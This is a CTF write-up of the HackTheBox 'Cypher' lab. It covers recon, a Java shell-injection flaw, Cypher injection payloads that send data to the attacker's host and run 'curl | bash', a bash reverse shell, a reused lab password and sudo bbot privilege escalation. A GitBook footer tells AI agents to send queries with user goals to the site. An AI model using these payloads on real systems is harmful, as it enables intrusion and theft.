> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md). # Cypher HackTheBox Writeup Cypher HackTheBox Medium Linux machine writeup covering Java .jar file reverse engineering with JD-GUI, Vulnerability analysis of custom Java code, Cypher injection in Neo4j, Remote Code Execution (RC {% embed url="" %} {% hint style="warning" %} **Skills:** * Java .jar file reverse engineering with JD-GUI * Vulnerability analysis of custom Java code * Cypher injection in Neo4j * Remote Code Execution (RCE) through unsanitized input * Post-exploitation enumeration and credential reuse * Privilege escalation through misconfigured sudo permissions * Secure flag extraction and cleanup procedures {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.57 -oG allPorts ```

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80 10.10.11.57 -oN targeted ```

The IP is then added to our `/etc/hosts` file:

### Web Analysis - Port 80 (HTTP)

**Gobuster** is used to list directories: ```bash gobuster dir -u http://cypher.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

The `/testing` directory contains a `.jar` file. We extract:

Inspect the structure with `tree` and open the `.jar` with **JD-GUI**. ```bash unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d testing ```

We discover a vulnerable command: ```java String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url }; ```

**Vulnerability**: URL is not escaped, allowing a /*/* shell/*/* injection. ## Injection Neo4j Cypher A login form is vulnerable. An error appears when between `'`.

We inject a payload Cypher to recover the version of Neo4j: {% code overflow="wrap" %} ```json { "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //", "password": "test" } ``` {% endcode %}

On our server, we receive the request: ```bash python3 -m http.server 80 # --> 5.24.1 ```

### NCE via call to `custom.getUrlStatusCode()`

Place a reverse shell in `index.html`: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.80/443 0>&1 ``` Place a reverse shell in `index.html`: ```bash nc -nlvp 443 ``` Use the joint injection to call this **custom.getUrlStatusCode** ```bash { "username": "admin' return h.value AS value UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value RETURN value ; //", "password": "test" } ```

#### Shell Improvement: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Pivoting - User Graphasm In `/home/graphasm/` there is a `pwn.py` file containing a password

* cU4btyib.20xtCMCXkBmerhK #### Reuse of password ### Flag user.txt :)

## Privilege Escalation ### Sudo - bbot (binary) Audit of fees sudo: ```bash sudo -l ``` The user can run `/usr/local/bin/bbot` in root.

Contents of `/usr/local/bin/bbot`: ```python #!/opt/pipx/venvs/bbot/bin/python # -*- coding: utf-8 -*- import re import sys from bbot.cli import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0]) sys.exit(main()) ```

### Exploitation : This script simply transmits arguments to the main function of `bbot`. As we can control the arguments provided, we can use a feature of `bbot` to play any file — including those that are accessible only by user **root**. After consulting the help or documentation for using `bbot`, we identified options for specifying a target file and an output directory: ```bash sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d ``` **Explication :** * `-t /root/root.txt`: sets the target file to be processed. * `-o /tmp/root`: specifies the output directory (where the results will be stored). * `-d`: Enables debugging mode, in case additional information is needed. As the script runs with the **root** privileges and no validation of the ns entries is performed, this allows us to play arbitrary files, including the final file containing the **flag root**.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.